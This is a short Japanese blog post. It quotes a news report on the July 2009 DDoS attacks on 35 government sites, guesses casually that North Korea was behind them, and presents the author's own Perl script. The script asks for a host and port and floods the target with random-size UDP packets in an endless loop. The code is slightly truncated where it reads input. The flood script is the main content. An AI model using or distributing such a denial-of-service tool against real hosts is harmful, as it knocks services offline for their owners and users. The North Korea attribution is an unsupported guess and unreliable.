同事件では7月7~9日、米国のホワイトハウスや韓国の青瓦台(大統領府)など35機関のウェブサイトが、複数のパソコンから大量のデータを一斉送信する「DDoS攻撃」を受け、一時接続不能になった。国外から攻撃を仕掛けられた可能性が指摘されていた。
たぶん、北朝鮮の仕業です。
ちなみに、韓国側だけ落ちたらしい。
ぶっそうな世の中になったので、私も簡単なプログラムを書いてみました。
#!/usr/bin/perl
use IO::Socket;
print "Host: ";
chop ($host =
print "Port: ";
chop ($port =
{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
}
packets:
while (1) {
$size = rand() * 200 * 2000;
print ("$host:$port packet size: $size\n");
send($sock, 0, $size);
}
韓国同様に我が家のWebサーバーも落ちました。。。
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